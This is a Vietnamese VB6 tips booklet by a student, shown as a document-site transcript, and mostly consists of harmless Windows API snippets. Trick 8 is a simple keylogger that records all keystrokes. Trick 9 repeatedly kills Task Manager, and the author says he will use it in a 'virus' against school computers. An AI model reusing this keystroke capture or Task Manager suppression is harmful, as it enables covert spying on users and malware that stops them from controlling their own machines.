chiêu thức lập trình

75
Chiêu thức lập trình VB 6.0 Tác giả : Lê Nguyên Dũng Lớp 12C 1 trường THPT Đăk Nông (Thị xã Gia Nghĩa - Đ ăk Nông) Email : [email protected] Nick : dungcoi_vb Địa chỉ nhà : Thôn 1, thị trấn Đăk Mâm Huyện Krông Nô Tỉnh Đắk Nông Tác giả : Lê Nguyên Dũng lớp 12C 1 trường THPT Đăk Nông Trang 1

Upload: longkenj

Post on 29-Nov-2014

725 views

Category:

Technology


2 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

Tác giả : Lê Nguyên DũngLớp 12C1 trường THPT Đăk Nông (Thị xã Gia Nghĩa - Đ ăk Nông)

Email : [email protected] : dungcoi_vb

Địa chỉ nhà : Thôn 1, thị trấn Đăk Mâm Huyện Krông Nô Tỉnh Đắk Nông

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 1

Page 2: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

Lời nói đầu

Dù tài liệu này không có mấy người đọc nhưng dù sao với trách nhiệm và sự “Rãnh rỗi” của mình mình sẽ tiếp tục bổ xung thêm cuốn tài liệu này đến khi nào có thể

Trong sách tôi xin chỉ rõ xuất xứ, mong rằng các ban cũng sẽ tôn trọng tác giả không chỉnh sửa tác giả hay các xuất xứ

Cuốn sách này đi theo định hướng là sử dụng các hàm API hoặc các lệnh đơn giản để tạo thành những thủ thuật và hạn chế tối đa phải sử dụng các công cụ hỗ trợ.

Cuốn tài liệu được chia sẽ hoàn toàn miễn phí. Nếu có thắc mác bạn hãy liên hệ với tác giả.

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 2

Page 3: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

Mục lục

Đôc chiêu 1 : “Thả một câu từ trên cao xuống” (Có thể nói nh ư vậy) Đôc chiêu 2 : Hiện một câu bằng cách lần lượt hiện từng chữĐôc chiêu 3 : Hiện con trỏ động tại một đối t ư ợng nào đó Đôc chiêu 4 : Form có hình dạng theo một hình ảnh bất k ỳĐôc chiêu 5 : “Chụp ảnh màn hình vào một Picture”Đôc chiêu 6 : “Vô hiệu hoá button close và menu của form (cả Alt-F4 luôn)”Đôc chiêu 7 : “Kéo form di chuyển từ một điểm bất kỳ”Đôc chiêu 8 : “Ghi lại tất cả những phím gõ tên bàn phím”Đôc chiêu 9 : Đóng một ứng dụng bất kỳĐôc chiêu 10 : Tạo phím nóng cho chương trình Đôc chiêu 11 : Thay đổi hình nền cho DesktopĐôc chiêu 12 : Đóng mở khay CD-ROMĐôc chiêu 13 : Tạo một SystemTray cho ứng dụng của bạnĐôc chiêu 14 : Thay đổi Font tiếng việt cho Menu của WindowĐôc chiêu 15 : So sánh hai ảnhĐôc chiêu 16 : Liệt kê danh sách các thành phần phần cứng trong máyĐôc chiêu 17 : Chương trình khởi động cùng với WindownsĐôc chiêu 18 : Play một file nhạc MidiĐôc chiêu 19 : Khoá một file ảnh định dạng .bmpĐôc chiêu 20 : Để form của bạn ở chế độ “Luôn nổi”Đôc chiêu 21 : TextBox chỉ “Chịu” nhận sốĐôc chiêu 22 : Để form trở nên trong suốtĐôc chiêu 23 : Lấy tên người sử dung của WindownsĐôc chiêu 24 : Chép cả màn hình làm việc vào một PictureĐôc chiêu 25 : Dấu dữ liệu dạng text vào 1 file bất kỳĐôc chiêu 26 :Mở từng hộp thoại trong Control Panel

Đôc chiêu 27 : Mã hoá dữ liệu dạng text Đôc chiêu 28 : Lấy mật khẩu khi đang Chat trên YahooĐôc chiêu 29 : Biến giao diện chương trình theo phong cách Windowns XP Đôc chiêu 30 : Làm cho ứng dụng từ từ rõ dần khi Load và mờ dần khi UnloadĐôc chiêu 31 : Không cho dịch ngược phần mềm của bạnĐôc chiêu 32 : Lấy kiểu (Type) của đĩa Đôc chiêu 33 : Ẩn thanh Taskbar hoặc các thành phần khácĐôc chiêu 34 : Nhìn Windowns XP CD KeyĐôc chiêu 35 : Tùy chọn hộp thoại thông báo của chương trìnhĐôc chiêu 36 : Đưa con trỏ đến một vị trí nhất địnhĐôc chiêu 37 : Hiệu ứng khi Click vàoĐôc chiêu 38 : Hàm dùng để đoc số ra chữĐôc chiêu 39 : Để chương trình bạn có giao diện “Nữa trong suốt”Đôc chiêu 40 : Gửi thông điệp tới một máy tinh bất kỳĐôc chiêu 41 : Quét tất cả các máy trong mạng LANĐôc chiêu 42 : Liệt kê tất cả các tài nguyên mạng đang trong trạng thái “Mở”Đôc chiêu 43 : Kiểm tra máy tính của bạn có kết nối Internet hay khôngĐôc chiêu 44 : Liệt kê tất cả các Process đang hoạt động trong máy

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 3

Page 4: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

Đôc chiêu 1 : “Thả một câu từ trên cao xuống” (Có thể nói nh ư vậy) home Xuất xứ : www.pscode.comBinh khí sử dụng : Một Picture và một CommandButtonĐoạn mã :Option Explicit

Private Sub command1_Click() Randomize Timer 'Khởi tạo

‘Khai báo Dim StartTime(100) 'Thời gian bắt đầu di chuyển lên xuống Dim DownMovement(100) As Boolean ' Chúng ta phải lên xuông bao nhiêu ?????? Dim MoveDistance As Double ' Khoảng cách đích đến Dim YPos(100) As Double ' Tọa độ Y của chữ Dim MovementDone(100) As Boolean ' Là đúng khi lên / xuống hoàn thành Dim StartHeight(100) As Double ' Chiều cào phải đi xuống ??? Dim UpMovementTime(100) As Double ' Chiều dài mà ký tự sẽ lấy để đi lên Dim PowerLoss(100) As Double ' Đã chạm tới điểm dưới dung ????? Dim Message As String ' Thông điệp bạn cần hiển thị Dim Looop As Integer ' Biến vòng lặp Dim TextColor(100) As ColorConstants ' Màu sắc của mỗi ký tự

' Thiết lập picture1.ScaleMode = 4 picture1.FontName = "Courier New" ' Font chữ của ký tự Message = "Ô hiệu ứng chữ !!! Mail của tác giả nè (-_-) : [email protected]" ' Thông điệp bạn muốn hiển thị For Looop = 1 To Len(Message) PowerLoss(Looop) = 0.2 + ((Rnd * 25) / 100) StartHeight(Looop) = 0 TextColor(Looop) = RGB(80 + Looop * 2, 80 + Looop * 2, 255) Next Looop For Looop = 1 To Len(Message) StartTime(Looop) = Timer 'Đặt thời gian xuống, cần phải tính tóan vị trí Next Looop Do picture1.Cls ' Xóa Picture ‘ Vòng lặp để tiến hành đếm từng ký tự For Looop = 1 To Len(Message) If DownMovement(Looop) = True Then MoveDistance = (StartHeight(Looop) + (0.5 * 9.81 * ((Timer - StartTime(Looop)) ^ 2))) ' Tính khoảng cách rơi

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 4

Page 5: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 If YPos(Looop) >= picture1.ScaleHeight - 1 Then MovementDone(Looop) = True ' Ký tự chạm phần đáy dưới Downmovement (Di chuyển xuống) hoàn thành Else MoveDistance = (StartHeight(Looop) + (0.5 * 9.81 * (UpMovementTime(Looop) - (Timer - StartTime(Looop))) ^ 2)) ' Yónh khoảng cách rơi If YPos(Looop) <= StartHeight(Looop) + 0.1 Then MovementDone(Looop) = True ' Ký tự chạm đến điểm cao nhất upmovement (Di chuyển lên trên) hòan thành End If YPos(Looop) = MoveDistance If YPos(Looop) > picture1.ScaleHeight - 1 Then ' Nếu ký tự thỏa điều kiện này phải sửa lại chúng YPos(Looop) = picture1.ScaleHeight - 1 ' Tại vị trí dưới cùng End If picture1.CurrentX = picture1.ScaleWidth / 2 - Int((Len(Message) / 2)) + Looop picture1.CurrentY = YPos(Looop) ' Đặt vị tọa độ Y cho ký tự picture1.ForeColor = TextColor(Looop) ' Đặt màu cho ký tự picture1.Print Mid(Message, Looop, 1) ' Đặt chử vào picture1 Next Looop DoEvents For Looop = 1 To Len(Message) If MovementDone(Looop) = True Then If DownMovement(Looop) = True Then ' Khoảng cách chuyển đổi giữa up/downmovement (Di chuyển lên/Di chuyển xuống) DownMovement(Looop) = False StartHeight(Looop) = StartHeight(Looop) + ((picture1.ScaleHeight - StartHeight(Looop)) * PowerLoss(Looop)) ' Startheight mới, bởi vì tốc độ bị sai ?!?! UpMovementTime(Looop) = Sqr((picture1.ScaleHeight - StartHeight(Looop)) / (0.5 * 9.81)) ' D9ộ dài bao nhiêu sẽ upmovement (Di chuyển lên trên) sau đó??? Else DownMovement(Looop) = True End If StartTime(Looop) = Timer ' Đặt thời gian bắt đầu di chuyển MovementDone(Looop) = False End If Next Looop Loop ' Đến khi StartHeight = picture1.ScaleHeight

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 5

Page 6: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) EndEnd SubĐôc chiêu 2 : Hiện một câu bằng cách lần lượt hiện từng chữ home Xuất xứ : www.pscode.comBinh khí sử dụng : Một Module , ba CommandButton lần lượt có các tên cmdStart, cmdClear, cmdExit, thêm hai cái đồng hồ tên là Timer1 (Interval =50) và Timer2(Interval =5) cả hai cái đồng hồ đều phải Enabled= False cuối cùng là một label tên là lblText Đoạn mã :Module :Public ASCC(5) As StringPublic Letters() As String ' Chuỗi ký tựPublic TXT As StringPublic CurLetter As IntegerPublic TEXTT As StringPublic r As IntegerForm :Private Sub cmdClear_Click()lblText.Caption = ""End Sub

Private Sub cmdExit_Click()EndEnd Sub

Private Sub cmdStart_Click()TXT = InputBox("Enter Text") ' Nhập ký tự

ReDim Preserve Letters(0)ReDim Preserve Letters(Len(TXT))lblText = ""CurLetter = 0

For l = 1 To Len(TXT) Letters(l) = Mid(TXT, l, 1)Next

Timer2.Enabled = TrueEnd Sub

Private Sub Timer1_Timer()r = r + 1lblText.Caption = TEXTTlblText.Caption = lblText.Caption & "_"If r = 6 Thenr = 0 If 65 < Asc(Letters(CurLetter)) < 90 Then lblText.Caption = TEXTT lblText.Caption = lblText.Caption & Letters(CurLetter) TEXTT = lblText Timer2.Enabled = True Timer1.Enabled = False Else lblText.Caption = TEXTT lblText.Caption = lblText.Caption & Chr$(Asc(Letters(CurLetter)) - 32) TEXTT = lblText Timer2.Enabled = True Timer1.Enabled = False End If

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 6

Page 7: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 End If End Sub

Private Sub Timer2_Timer()CurLetter = CurLetter + 1

If CurLetter > Len(TXT) Then GoTo HERE:End If

TEXTT = lblTextTimer1.Enabled = TrueTimer2.Enabled = False

HERE:Timer2.Enabled = FalseEnd Sub

Đôc chiêu 3 : Hiện con trỏ động tại một đối t ư ợng nào đó home Xuất xứ : www.ttvnol.comBinh khí sử dụng : Chỉ cần một cái FormĐoạn mã :

'Hằng được sử dụng private Const ConTro=(-12)

'Các hàm API được sử dụngPrivate Declare Function SetClasslong Lib "user32" Alias "SetClassLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long

Private Declare Function LoadCursorFromFile Lib "user32" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As Long

Dim NewCur as longDim OldCur as long

Private Sub Form_Load'Giả sử rằng bạn đã có sẵn file Clock.ani ở ổ C:\NewCur=LoadCursorFromFile("C:\Clock.ani")OldCur=SetClassLong(Me.hwnd, ConTro,NewCur)End sub

Private Sub Form_UnLoad(Cancel as Integer)SetClassLong me.hwnd, Contro,OldCurEnd Sub

- Ta rút ra được một “Công thức” : Thay vì đặt con trỏ động trong Form ta có thể thay Me.hwnd trong dòng lệnh : OldCur=SetClassLong(Me.hwnd, ConTro,NewCur) bằng đối tựợng.hwnd (Nếu đối tượng đó hổ trợ )

Đôc chiêu 4 : Form có hình dạng theo một hình ảnh bất kỳ (Tất nhiên có màu tượng trưng cho form trong suốt) home Chú ý : Phần này trong lần xuất bản 1 có lỗiXuất xứ : www.pscode.comBinh khí sử dụng :

- 1 picture mang tên : picMainSkin trong đó có chứa sẵn một hình ảnh bất kỳ mà bạn muốn làm giao diện chương trình màu tượng trưng cho trong suốt là màu ở câu lệnh TransparentColor =

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 7

Page 8: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0GetPixel(hDC, 0, 0) có nghĩa là sẽ chính là màu của điểm có tọa độ (0,0) trên Picture này đây chính là một trong những điểm thú vị của đọan Code này.- 1 Module

Đoạn mã :‘Trong Module :Option ExplicitPublic Declare Function GetPixel Lib "gdi32" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long) As LongPublic Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As LongPublic Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As LongPublic Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As LongPublic Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPublic Declare Function ReleaseCapture Lib "user32" () As LongPublic Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As LongPublic Const RGN_OR = 2Public Const WM_NCLBUTTONDOWN = &HA1Public Const HTCAPTION = 2

Public Function MakeRegion(picSkin As PictureBox) As Long

Dim x As Long, y As Long, StartLineX As Long Dim FullRegion As Long, LineRegion As Long Dim TransparentColor As Long Dim InFirstRegion As Boolean Dim InLine As Boolean Dim hDC As Long Dim PicWidth As Long Dim PicHeight As Long hDC = picSkin.hDC PicWidth = picSkin.ScaleWidth PicHeight = picSkin.ScaleHeight InFirstRegion = True: InLine = False x = y = StartLineX = 0

TransparentColor = GetPixel(hDC, 0, 0) For y = 0 To PicHeight - 1 For x = 0 To PicWidth - 1 If GetPixel(hDC, x, y) = TransparentColor Or x = PicWidth Then If InLine Then InLine = False LineRegion = CreateRectRgn(StartLineX, y, x, y + 1) If InFirstRegion Then FullRegion = LineRegion InFirstRegion = False Else CombineRgn FullRegion, FullRegion, LineRegion, RGN_OR DeleteObject LineRegion End If End If Else If Not InLine Then InLine = True

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 8

Page 9: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 StartLineX = x End If End If Next Next MakeRegion = FullRegionEnd Function‘Trong Form: Option ExplicitPrivate Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongConst SWP_NOMOVE = 2Const SWP_NOSIZE = 1Const FLAGS = SWP_NOMOVE Or SWP_NOSIZEPrivate Sub Form_Load() Dim WindowRegion As Long picMainSkin.ScaleMode = vbPixels picMainSkin.AutoRedraw = True picMainSkin.AutoSize = True picMainSkin.BorderStyle = vbBSNone Me.BorderStyle = vbBSNone Set picMainSkin.Picture = picMainSkin.Picture Me.Width = picMainSkin.Width Me.Height = picMainSkin.Height WindowRegion = MakeRegion(picMainSkin) SetWindowRgn Me.hwnd, WindowRegion, TrueEnd SubPrivate Sub picMainSkin_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) ReleaseCapture SendMessage Me.hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&End Sub

Đôc chiêu 5 : “Chụp ảnh màn hình vào một Picture” home Xuất xứ : www.ttvnol.comBinh khí sử dụng : Một Picture và một CommandButtonĐoạn mã :

Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As LongPrivate Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long

Private Sub Command1_Click()Dim wScreen As LongDim hScreen As LongDim w As LongDim h As LongPicture1.Cls

wScreen = Screen.Width \ Screen.TwipsPerPixelXhScreen = Screen.Height \ Screen.TwipsPerPixelY

Picture1.ScaleMode = vbPixelsw = Picture1.ScaleWidthh = Picture1.ScaleHeight

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 9

Page 10: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

hdcScreen = GetDC(0)

r = StretchBlt(Picture1.hdc, 0, 0, w, h, hdcScreen, 0, 0, wScreen, hScreen, vbSrcCopy)

End Sub

Đôc chiêu 6 : “Vô hiệu hoá button close và menu của form (cả Alt-F4 luôn)” home Xuất xứ : www.ttvnol.comBinh khí sử dụng : Chẳng cần gì ta chỉ cần tay không bắt hổĐoạn mã :

Private Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As LongPrivate Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long

Private Const MF_BYPOSITION = &H400&

Private ReadyToClose As BooleanPrivate Sub RemoveMenus(frm As Form, _remove_restore As Boolean, _remove_move As Boolean, _remove_size As Boolean, _remove_minimize As Boolean, _remove_maximize As Boolean, _remove_seperator As Boolean, _remove_close As Boolean)Dim hMenu As Long

hMenu = GetSystemMenu(hwnd, False)

If remove_close Then DeleteMenu hMenu, 6, MF_BYPOSITIONIf remove_seperator Then DeleteMenu hMenu, 5, MF_BYPOSITIONIf remove_maximize Then DeleteMenu hMenu, 4, MF_BYPOSITIONIf remove_minimize Then DeleteMenu hMenu, 3, MF_BYPOSITIONIf remove_size Then DeleteMenu hMenu, 2, MF_BYPOSITIONIf remove_move Then DeleteMenu hMenu, 1, MF_BYPOSITIONIf remove_restore Then DeleteMenu hMenu, 0, MF_BYPOSITIONEnd Sub

Private Sub cmdClose_Click()ReadyToClose = TrueUnload MeEnd Sub

Private Sub Form_Load()RemoveMenus Me, False, False, _False, False, False, True, TrueEnd Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)Cancel = Not ReadyToCloseEnd Sub

Đôc chiêu 7 : “Kéo form di chuyển từ một điểm bất kỳ” home Xuất xứ : www.allapi.net

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 10

Page 11: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Binh khí sử dụng : Lại cũng tay không tập bắt hổĐoạn mã :

Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPrivate Declare Sub ReleaseCapture Lib "User32" ()Const WM_NCLBUTTONDOWN = &HA1Const HTCAPTION = 2Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Dim lngReturnValue As Long If Button = 1 Then Call ReleaseCapture lngReturnValue = SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&) End IfEnd SubPrivate Sub Form_Paint() Me.Print "Hay keo tui di"End Sub

Đôc chiêu 8 : “Ghi lại tất cả những phím gõ tên bàn phím” home Xuất xứ : www.allapi.netBinh khí sử dụng : Cần một cái ModuleĐoạn mã :Trong Module :Public Const DT_CENTER = &H1Public Const DT_WORDBREAK = &H10Type RECT Left As Long Top As Long Right As Long Bottom As LongEnd TypeDeclare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As LongDeclare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As LongDeclare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As LongDeclare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerDeclare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As LongGlobal Cnt As Long, sSave As String, sOld As String, Ret As StringDim Tel As LongFunction GetPressedKey() As String For Cnt = 32 To 128 If GetAsyncKeyState(Cnt) <> 0 Then GetPressedKey = Chr$(Cnt) Exit For End If Next CntEnd FunctionSub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Ret = GetPressedKey If Ret <> sOld Then sOld = Ret sSave = sSave + sOld End IfEnd Sub

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 11

Page 12: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

Trong Form :Private Sub Form_Load() Me.Caption = "Key Spy" SetTimer Me.hwnd, 0, 1, AddressOf TimerProcEnd SubPrivate Sub Form_Paint() Dim R As RECT Const mStr = "Nao bat dau go di khi ban an dau X de thoat ban se thay bat ngo thu vi day." Me.Cls Me.ScaleMode = vbPixels SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&End SubPrivate Sub Form_Resize() Form_PaintEnd SubPrivate Sub Form_Unload(Cancel As Integer) KillTimer Me.hwnd, 0 MsgBox sSaveEnd SubĐôc chiêu 9 : Đóng một ứng dụng bất kỳ home Xuất xứ : www.echip.com.vn (Báo eChip)Binh khí sử dụng : Cần một cái đồng hồ(Timer) chú ý thuộc tính Interval (Riêng tôi cho là 1)Gíơi thiệu : Đoạn mã đóng một cửa sổ bất ỳ nào đó dựa vào tên của nóĐoạn mã :Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPrivate Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Sub tmrkiemtra_Timer()Do While FindWindow(vbNullString, "Windows Task Manager") <> 0‘Gia su toi muon “Thu tieu “ hop thoai “Windows Task Manager”PostMessage FindWindow(vbNullString, "Windows Task Manager"), &H10, 0&, 0&LoopEnd Sub

- Đây là một chiêu thức rất quan trọng của một phần mềm bảo mật nên có thể đang rất cần cho nhiều bạn. Riêng tôi do quá “Bất mãn” với cái bọn bạn quỷ quái nên đây s ẽ là một trong những tuyệt chiêu tôi sử dụng để viết Virus (Theo dự tính tiết thực hành thứ 2 tuần tới sẽ có vài cái máy tính của trường phải “Nhập viện”) he he nhưng tôi không tàn nhẫn tới mức phá hoại đâu tui “Hiền lắm” chỉ cho bọn bạn gà mờ “Biết ít khoe nhiều trên trường” không “Thực hành” thôi, Chúc các bạn có những giây phút “Sản khoái” như tôi với độc chiêu này.Đôc chiêu 10 : Tạo phím nóng cho chương trình : home Xuất xứ : www.allapi.netBinh khí sử dụng : Cần một cái Module (Form thì luôn luôn cần rồi)Đoạn mã : (Bẫy phím Alt+Z)

Trong Module :Declare Function SendMessage Lib "user32" Alias _"SendMessageA" (ByVal hwnd As Long, _ByVal wMsg As Long, ByVal wParam As Long, _lParam As Long) As LongDeclare Function DefWindowProc Lib "user32" _Alias "DefWindowProcA" (ByVal hwnd As Long, _ByVal wMsg As Long, ByVal wParam As Long, _ByVal lParam As Long) As LongPublic Const WM_SETHOTKEY = &H32Public Const WM_SHOWWINDOW = &H18Public Const HK_SHIFTA = &H141 'Shift + APublic Const HK_SHIFTB = &H142 'Shift * BPublic Const HK_CONTROLA = &H241 'Control + A

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 12

Page 13: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Public Const HK_ALTZ = &H45A

'The value of the key-combination has to'declared in lowbyte/highbyte-format'That means as a hex-number: the last two'characters specify the lowbyte (e.g.: 41 = a),'the first the highbyte (e.g.: 01 = 1 = Shift)

Trong Form :Private Sub Form_Load() Me.WindowState = vbMinimized 'Let windows know what hotkey you want for 'your app, setting of lParam has no effect erg& = SendMessage(Me.hwnd, WM_SETHOTKEY, HK_ALTZ, 0) 'Check if succesfull If erg& <> 1 Then MsgBox "You need another hotkey", vbOKOnly, "Error" End If 'Tell windows what it should do, when the hotkey 'is pressed -> show the window! 'The setting of wParam and lParam has no effect erg& = DefWindowProc(Me.hwnd, WM_SHOWWINDOW, 0, 0)End Sub

Đôc chiêu 11 : Thay đổi hình nền cho Desktop home Xuất xứ : www.caulacbovb.comBinh khí sử dụng : Một CommandButtonĐoạn mã : Option Explicit ‘ Các hằng số và hàm phục vụ cho việc thay đổi WallPaper Private Const SPIF_UPDATEINIFILE = &H1 Private Const SPI_SETDESKWALLPAPER = 20 Private Const SPIF_SENDWININICHANGE = &H2

Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long

‘Phục vụ cho việc ghi giá trị vào Registry Public Enum REG_TOPLEVEL_KEYS HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_CURRENT_USER = &H80000001 HKEY_DYN_DATA = &H80000006 HKEY_LOCAL_MACHINE = &H80000002 HKEY_PERFORMANCE_DATA = &H80000004 HKEY_USERS = &H80000003 End Enum

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Private Const REG_SZ = 1

Public Function ChangeWallPaper(ImageFile As String, Optional Tile As Boolean = True, Optional Center As Boolean = True) As Boolean Dim lRet As Long On Error Resume Next If Tile Then 'Kieu Tile WriteStringToRegistry HKEY_CURRENT_USER, "Control Panel\desktop", "TileWallpaper", "1" Else 'Center or Stretch WriteStringToRegistry HKEY_CURRENT_USER, "Control Panel\desktop", "TileWallpaper", "0"

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 13

Page 14: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0'Center If Center Then WriteStringToRegistry HKEY_CURRENT_USER, "Control Panel\desktop", "WallpaperStyle", "0" _ Else: WriteStringToRegistry HKEY_CURRENT_USER, "Control Panel\desktop", "TileWallpaper", "2" ' Stretch End If lRet = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, ImageFile, SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE) ChangeWallPaper = lRet <> 0 End Function

Private Function WriteStringToRegistry(Hkey As REG_TOPLEVEL_KEYS, strPath As String, strValue As String, strdata As String) As Boolean Dim bAns As Boolean On Error GoTo ErrorHandler Dim keyhand As Long Dim r As Long r = RegCreateKey(Hkey, strPath, keyhand) If (r = 0) Then r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata)) r = RegCloseKey(keyhand) End If WriteStringToRegistry = (r = 0) Exit Function ErrorHandler: WriteStringToRegistry = False MsgBox "Thay doi gia tri Registry khong thanh cong", , "Loi :" End Function

Private Sub Command1_Click() ‘ Load file ảnh cần thiếtChangeWallPaper "C:\Ben Tre.bmp" ‘Kiểu Tile ‘ChangeWallPaper "C:\Ben Tre.bmp", False ‘Kiểu Center ‘ChangeWallPaper "C:\Ben Tre.bmp", False, False ‘Kiểu Stretch End Sub

Đôc chiêu 12 : Đóng mở khay CD-ROM home Xuất xứ : www.caulacbovb.comLưu ý: Chương trình này chỉ tác dụng tới ổ CD đầu tiên trên hệ thống của bạn (ổ có tên gần với tên Partition cuối cùng của máy).Binh khí sử dụng : 2 CommandButtonĐoạn mã : Option ExplicitPrivate Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As LongFunction vbmciSendString(ByVal Command As String, ByVal hWnd As Long) As StringDim Buffer As StringDim dwRet As LongBuffer = Space$(100)dwRet = mciSendString(Command, ByVal Buffer, Len(Buffer), hWnd)vbmciSendString = BufferEnd FunctionPrivate Sub Command1_Click()Dim Dummy As StringDummy = vbmciSendString("set cdaudio door open", 0)End SubPrivate Sub Command2_Click()Dim Dummy As StringDummy = vbmciSendString("set cdaudio door closed ", 0)

End Sub

Đôc chiêu 13 : Tạo một SystemTray cho ứng dụng của bạn home Xuất xứ : www.ttvnol.com

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 14

Page 15: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Binh khí sử dụng : Tương đối nhiềuĐoạn mã :

PHẦN I _ Tạo một OCX đặt tên là cSysTray.ocx

Bạn vào VB tạo một ActiveX Control, sau đó add một Module đặt tên là: mSysTray.bas và có nội dung như sau :--------- Module mSysTray.bas ----------

Option Explicit

